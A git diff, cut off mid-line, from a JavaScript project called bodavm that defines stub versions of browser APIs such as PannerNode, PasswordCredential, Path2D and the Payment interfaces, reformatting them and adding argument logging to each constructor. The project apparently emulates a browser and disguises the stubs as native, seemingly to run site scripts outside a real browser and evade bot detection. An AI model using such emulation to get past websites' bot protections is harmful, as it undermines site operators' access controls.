-bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterGain", {configurable:true, enumerable:true, get:function coneOuterGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_get", arguments)}, set:function coneOuterGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "setOrientation", {configurable:true, enumerable:true, writable:true, value:function setOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setOrientation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setPosition", arguments)}},'prototype'); +// PannerNode对象 + +bodavm.memory.globalobj['PannerNode'] = function PannerNode() { + console.log_copy('PannerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PannerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PannerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PannerNode'], "PannerNode"); +bodavm.memory.globalobj['PannerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['PannerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('PannerNode', "panningModel", { + configurable: true, + enumerable: true, + get: function panningModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_get", arguments); + }, + set: function panningModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionX", { + configurable: true, + enumerable: true, + get: function positionX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionY", { + configurable: true, + enumerable: true, + get: function positionY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionZ", { + configurable: true, + enumerable: true, + get: function positionZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationX", { + configurable: true, + enumerable: true, + get: function orientationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationY", { + configurable: true, + enumerable: true, + get: function orientationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationZ", { + configurable: true, + enumerable: true, + get: function orientationZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "distanceModel", { + configurable: true, + enumerable: true, + get: function distanceModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_get", arguments); + }, + set: function distanceModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "refDistance", { + configurable: true, + enumerable: true, + get: function refDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_get", arguments); + }, + set: function refDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "maxDistance", { + configurable: true, + enumerable: true, + get: function maxDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_get", arguments); + }, + set: function maxDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "rolloffFactor", { + configurable: true, + enumerable: true, + get: function rolloffFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_get", arguments); + }, + set: function rolloffFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneInnerAngle", { + configurable: true, + enumerable: true, + get: function coneInnerAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_get", arguments); + }, + set: function coneInnerAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterAngle", { + configurable: true, + enumerable: true, + get: function coneOuterAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_get", arguments); + }, + set: function coneOuterAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterGain", { + configurable: true, + enumerable: true, + get: function coneOuterGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_get", arguments); + }, + set: function coneOuterGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "setOrientation", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setOrientation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setPosition", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PasswordCredential.js b/env_xbb_lastest_jsdom/env/PasswordCredential.js index f4561f6a..d73d4d15 100644 --- a/env_xbb_lastest_jsdom/env/PasswordCredential.js +++ b/env_xbb_lastest_jsdom/env/PasswordCredential.js @@ -1,8 +1,43 @@ -// PasswordCredential对象 -bodavm.memory.globalobj['PasswordCredential'] = function PasswordCredential(){if (!(this instanceof PasswordCredential)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PasswordCredential': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PasswordCredential'], "PasswordCredential"); -bodavm.memory.globalobj['PasswordCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['PasswordCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('PasswordCredential', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "password_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PasswordCredential', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PasswordCredential', "iconURL", {configurable:true, enumerable:true, get:function iconURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "iconURL_get", arguments)}, set:undefined},'prototype'); +// PasswordCredential对象 + +bodavm.memory.globalobj['PasswordCredential'] = function PasswordCredential() { + console.log_copy('PasswordCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PasswordCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PasswordCredential': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PasswordCredential'], "PasswordCredential"); +bodavm.memory.globalobj['PasswordCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['PasswordCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('PasswordCredential', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "password_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PasswordCredential', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PasswordCredential', "iconURL", { + configurable: true, + enumerable: true, + get: function iconURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "iconURL_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Path2D.js b/env_xbb_lastest_jsdom/env/Path2D.js index ebb70ddd..170dd7b6 100644 --- a/env_xbb_lastest_jsdom/env/Path2D.js +++ b/env_xbb_lastest_jsdom/env/Path2D.js @@ -1,14 +1,102 @@ -// Path2D对象 -bodavm.memory.globalobj['Path2D'] = function Path2D(){this._boarg= new bodaobj.window.Path2D();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Path2D'], "Path2D"); -bodavm.toolsFunc.defineProperty('Path2D', "addPath", {configurable:true, enumerable:true, writable:true, value:function addPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "addPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "rect", arguments)}},'prototype'); +// Path2D对象 + +bodavm.memory.globalobj['Path2D'] = function Path2D() { + console.log_copy('Path2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Path2D(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Path2D'], "Path2D"); +bodavm.toolsFunc.defineProperty('Path2D', "addPath", { + configurable: true, + enumerable: true, + writable: true, + value: function addPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "addPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "rect", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentAddress.js b/env_xbb_lastest_jsdom/env/PaymentAddress.js index 0aa35957..4f2e8b96 100644 --- a/env_xbb_lastest_jsdom/env/PaymentAddress.js +++ b/env_xbb_lastest_jsdom/env/PaymentAddress.js @@ -1,14 +1,105 @@ -// PaymentAddress对象 -bodavm.memory.globalobj['PaymentAddress'] = function PaymentAddress(){if (!(this instanceof PaymentAddress)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentAddress'], "PaymentAddress"); -bodavm.toolsFunc.defineProperty('PaymentAddress', "city", {configurable:true, enumerable:true, get:function city (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "city_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "country", {configurable:true, enumerable:true, get:function country (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "country_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "dependentLocality", {configurable:true, enumerable:true, get:function dependentLocality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "dependentLocality_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "organization", {configurable:true, enumerable:true, get:function organization (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "organization_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "phone", {configurable:true, enumerable:true, get:function phone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "phone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "postalCode", {configurable:true, enumerable:true, get:function postalCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "postalCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "recipient", {configurable:true, enumerable:true, get:function recipient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "recipient_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "region", {configurable:true, enumerable:true, get:function region (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "region_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "sortingCode", {configurable:true, enumerable:true, get:function sortingCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "sortingCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "addressLine", {configurable:true, enumerable:true, get:function addressLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "addressLine_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "toJSON", arguments)}},'prototype'); +// PaymentAddress对象 + +bodavm.memory.globalobj['PaymentAddress'] = function PaymentAddress() { + console.log_copy('PaymentAddress 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentAddress)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentAddress'], "PaymentAddress"); +bodavm.toolsFunc.defineProperty('PaymentAddress', "city", { + configurable: true, + enumerable: true, + get: function city() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "city_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "country", { + configurable: true, + enumerable: true, + get: function country() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "country_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "dependentLocality", { + configurable: true, + enumerable: true, + get: function dependentLocality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "dependentLocality_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "organization", { + configurable: true, + enumerable: true, + get: function organization() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "organization_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "phone", { + configurable: true, + enumerable: true, + get: function phone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "phone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "postalCode", { + configurable: true, + enumerable: true, + get: function postalCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "postalCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "recipient", { + configurable: true, + enumerable: true, + get: function recipient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "recipient_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "region", { + configurable: true, + enumerable: true, + get: function region() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "region_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "sortingCode", { + configurable: true, + enumerable: true, + get: function sortingCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "sortingCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "addressLine", { + configurable: true, + enumerable: true, + get: function addressLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "addressLine_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentManager.js b/env_xbb_lastest_jsdom/env/PaymentManager.js index f1a660f5..902e66c6 100644 --- a/env_xbb_lastest_jsdom/env/PaymentManager.js +++ b/env_xbb_lastest_jsdom/env/PaymentManager.js @@ -1,5 +1,35 @@ -// PaymentManager对象 -bodavm.memory.globalobj['PaymentManager'] = function PaymentManager(){if (!(this instanceof PaymentManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentManager'], "PaymentManager"); -bodavm.toolsFunc.defineProperty('PaymentManager', "userHint", {configurable:true, enumerable:true, get:function userHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_get", arguments)}, set:function userHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentManager', "enableDelegations", {configurable:true, enumerable:true, writable:true, value:function enableDelegations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "enableDelegations", arguments)}},'prototype'); +// PaymentManager对象 + +bodavm.memory.globalobj['PaymentManager'] = function PaymentManager() { + console.log_copy('PaymentManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentManager'], "PaymentManager"); +bodavm.toolsFunc.defineProperty('PaymentManager', "userHint", { + configurable: true, + enumerable: true, + get: function userHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_get", arguments); + }, + set: function userHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentManager', "enableDelegations", { + configurable: true, + enumerable: true, + writable: true, + value: function enableDelegations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "enableDelegations", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentMethodChangeEvent.js b/env_xbb_lastest_jsdom/env/PaymentMethodChangeEvent.js index f6e80522..a008eb32 100644 --- a/env_xbb_lastest_jsdom/env/PaymentMethodChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/PaymentMethodChangeEvent.js @@ -1,7 +1,35 @@ -// PaymentMethodChangeEvent对象 -bodavm.memory.globalobj['PaymentMethodChangeEvent'] = function PaymentMethodChangeEvent(){if (!(this instanceof PaymentMethodChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentMethodChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentMethodChangeEvent'], "PaymentMethodChangeEvent"); -bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype; -bodavm.memory.globalobj['PaymentMethodChangeEvent'].__proto__=bodavm.memory.globalobj['PaymentRequestUpdateEvent']; -bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodName", {configurable:true, enumerable:true, get:function methodName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodDetails", {configurable:true, enumerable:true, get:function methodDetails (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodDetails_get", arguments)}, set:undefined},'prototype'); +// PaymentMethodChangeEvent对象 + +bodavm.memory.globalobj['PaymentMethodChangeEvent'] = function PaymentMethodChangeEvent() { + console.log_copy('PaymentMethodChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentMethodChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentMethodChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentMethodChangeEvent'], "PaymentMethodChangeEvent"); +bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype; +bodavm.memory.globalobj['PaymentMethodChangeEvent'].__proto__ = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; +bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodName", { + configurable: true, + enumerable: true, + get: function methodName() { + return bodavm.toolsFunc.dispatch(this, 